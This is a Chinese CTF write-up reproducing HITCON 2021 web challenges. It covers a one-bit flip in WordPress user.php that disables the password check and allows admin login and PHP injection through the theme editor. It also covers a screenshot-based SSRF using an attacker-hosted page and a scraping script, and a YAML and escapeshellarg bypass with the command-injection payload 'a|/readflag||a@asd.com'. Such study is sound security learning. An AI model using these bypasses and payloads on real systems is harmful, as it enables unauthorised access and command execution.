hitcon2021(复现)
参考wp:https://mikecat.github.io/ctf-writeups/2021/20211204_HITCON_CTF_2021/
https://blog.z3ratu1.cn/%5BHITCON2021%5Dweb.html#more
(国际比赛质量太高,能力有限,有些实在复现不了XD)
One-Bit Man
给了一些文件,需要运行/readflag
。
<?php
if (count($argv) != 4)
die('arg error');
$filename = $argv[1];
$position = (int)$argv[2];
$bit_pos = (int)$argv[3];
// check filename
$filename = realpath($filename);
if (substr($filename, 0, 14) != "/var/www/html/")
die('filename error');
if (!file_exists($filename))
die('filename error');
if (filesize($filename) < $position + 1)
die('position error');
if ($bit_pos < 0 || $bit_pos > 7)
die('bit error');
$content = file_get_contents($filename);
$head = substr($content, 0, $position);
$byte = substr($content, $position, 1);
$tail = substr($content, $position + 1);
$byte = chr( ord($byte) ^ (1<<$bit_pos) );
file_put_contents($filename, $head . $byte . $tail);
echo 'all good';
明显是之修改一个字符进行rce。如果直接默认一波,就可以看到index.php
源码,因为它把<
转化为=
直接出源码。从而得知是wordpress框架。直接github搜源码开审。
wordpress框架有个/wp-admin
然后跳转到admin登录,如果能登录admin,说不定就能拿下。所以直接去wp-login.php
审一波代码(由于功力不足,真审不出,按照wp分析一波)
$user = wp_signon( array(), $secure_cookie );
在1142行,跟进这个wp_signon
正常分析的话,其实这个函数似乎也没啥x用。但是直接在下面找到可利用函数我是没想到的。在user.php
wp_authenticate_username_password
这个函数里面有个:
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
'incorrect_password',
sprintf(
/* translators: %s: User name. */
__( '<strong>Error</strong>: The password you entered for the username %s is incorrect.' ),
'<strong>' . $username . '</strong>'
) .
' <a href="' . wp_lostpassword_url() . '">' .
__( 'Lost your password?' ) .
'</a>'
);
}
这里根据函数名就可以判断,这是用来验证密码的。如果密码错误就会报错。那么将前面的!
改为空格,是不是就可以任意密码登录了。写了个脚本跑该!
的位置。为了快速查找,我用~
代替了!(因为~没有在该文件中出现过)
<?php
$a = file_get_contents("wp-includes/user.php");
for ($i = 0; $i < strlen($a); $i++){
if ($a[$i] == '~'){
echo $i;
break;
}
}
位置为5389。而且测试发现!^1=空格。所以Flipping-bit=0即可。开rua
Filename: /var/www/html/wp-includes/user.php
Position: 5389
Flipping-bit: 0
然后生成靶机。直接去/wp-admin登录后台(任意密码登录admin)。需要在主题那里才能插入php代码:
然后在任意一个php文件插入php代码即可:
(不太清楚在哪运行密码检测代码,似乎和wordpress的hook函数有关,在signon里面有个函数会调用所有的hook函数,可能是这个原因,另外,看这个函数的注释也能猜出它是干嘛的)
Vulpixelize
先审一波代码:
@app.route('/submit', methods=['GET'])
def submit():
path = 'static/images/%s.png' % uuid.uuid4().hex
url = request.args.get('url')
if url:
# secrity check
if not url.startswith('http://') and not url.startswith('https://'):
return message(msg='malformed url')
# access url
try:
driver.get(url)
data = driver.get_screenshot_as_png()
except common.exceptions.WebDriverException as e:
return message(msg=str(e))
# save result
img = Image.open(io.BytesIO(data))
img = img.resize((64,64), resample=Image.BILINEAR)
img = img.resize((1920,1080), Image.NEAREST)
img.save(path)
return message(msg=path)
else:
return message(msg="url not found :(")
这个submit将我们提交的url界面进行截图,截图之后保存为64x64的,然后再恢复到原来大小。
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return message(FLAG)
return message("allow only from local")
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
这个明显提示要ssrf获取flag。理智告诉我肯定不可能直接submithttp://127.0.0.1:8000/flag
但是尝试一下会有什么结果:
马赛克了直接。应该可以想到用xss进行ssrf。在自己的vps上写个html尝试一波,加入iframe。结果就是啥都没有。没办法了,根据wp,需要修改iframe大小为全屏,也就是1920x1080。但是根据之前直接submit知道,这样肯定还不够大,需要再放大些,然后想办法截取到flag的那部分。然后直接拿wp调好的数据跑(逃)
需要用到translate。感觉wp那个方法有点难懂。修改了一下php文件:
<!DOCTYPE html>
<html>
<head>
<title>a</title>
</head>
<body>
<p style="width: 1920px; height: 1080px; object-fit: none;">
<div style="transform: translate(-<?php
$xpos = $_GET['key'];
echo $xpos;
?>px, -9200px); padding: 0;">
<iframe src="http://localhost:8000/flag" width="1920" height="1080" style="transform: scale(25,25); transform-origin:0 0; margin: 0;"></iframe>
</div>
</p>
</body>
</html>
这个key就是根据传参,水平移动这个div,然后把放大了的flag截取出来。然后用python脚本去处理,把所有图片搞到手:
import requests
from bs4 import BeautifulSoup
url = 'http://3.113.172.41:22936/'
for i in range(10000, 37000, 1500):
url1 = url + 'submit?url=http://47.96.173.116/index.php?key={}'.format(i)
res = requests.get(url=url1).text
page = BeautifulSoup(res, 'html.parser')
url2 = url + page.a['href']
img = requests.get(url=url2).content
imgname = 'img/img{}.jpg'.format(i)
f = open(imgname, 'ab')
f.write(img)
f.close()
然后把图片拼起来就是flag。
还有一个更nb的方法:https://r3billions.com/writeup-vulpixelize/
根据chrome的特性,上传链接http://localhost:8000/flag#:~:text=hitcon{,}
。这个相当于ctrl+f,查找字符串,但是只会高亮一段时间,但是足够靶机做截图了。然后他还对获取到的图片做摘要,发现如果摘要和59562acafb6436ea5fdf660ec57df0cc
相同,图片是没有高亮的,即flag不符合规则。其他情况下都是有高亮。所以直接写了个脚本跑出flag,这个想法也很牛逼。
W3rmup PHP
这道题也很nb。由于技术有限,实在复现不了,记一下思路。
<?php
if (!isset($_GET['mail']))
highlight_file(__FILE__) && exit();
$mail = filter_var($_GET['mail'], FILTER_VALIDATE_EMAIL);
$addr = filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP);
$country = geoip_country_code_by_name($addr);
if (!$addr || strlen($addr) == 0) die('bad addr');
if (!$mail || strlen($mail) == 0) die('bad mail');
if (!$country || strlen($country) == 0) die('bad country');
$yaml = <<<EOF
- echo # cmd
- $addr # address
- $country # country
- $mail # mail
EOF;
$arr = yaml_parse($yaml);
if (!$arr) die('bad yaml');
for ($i=0; $i < count($arr); $i++) {
if (!$arr[$i]) {
unset($arr[$i]);
continue;
}
$arr[$i] = escapeshellarg($arr[$i]);
}
system(implode(" ", $arr));
这个需要绕过escapeshellarg
进行命令执行。然后这个for循环里面有个unset,这有个trick:array('123', false, "';id'")
在进入循环的时候,到了false这个布尔值,unset会导致array长度变为2,然后直接跳出for循环,导致最后一个元素逃逸检测。所以关键点就是这个false如何制造。在php yaml_parser的官方文档下面
NO可以解析为false,然后NO还是挪威的country_code,所以需要一个挪威的ip。
http://free-proxy.cz/zh/proxylist/country/NO/all/ping/all
免费的代理,直接用火狐的插件配置就行(总有一个能用的),然后用mail传
a|/readflag||a@asd.com
即可不知道什么原因,如果把
|
的a去掉就会报bad yaml。如果mail前面直接裸
|
,会让yaml_parse
解析错误,所以前面要加点字符。
Metamon-Verse
国际赛9解的题,看wp都不知道在干嘛,学不来,感兴趣可以看:https://r0.haxors.org/posts?id=27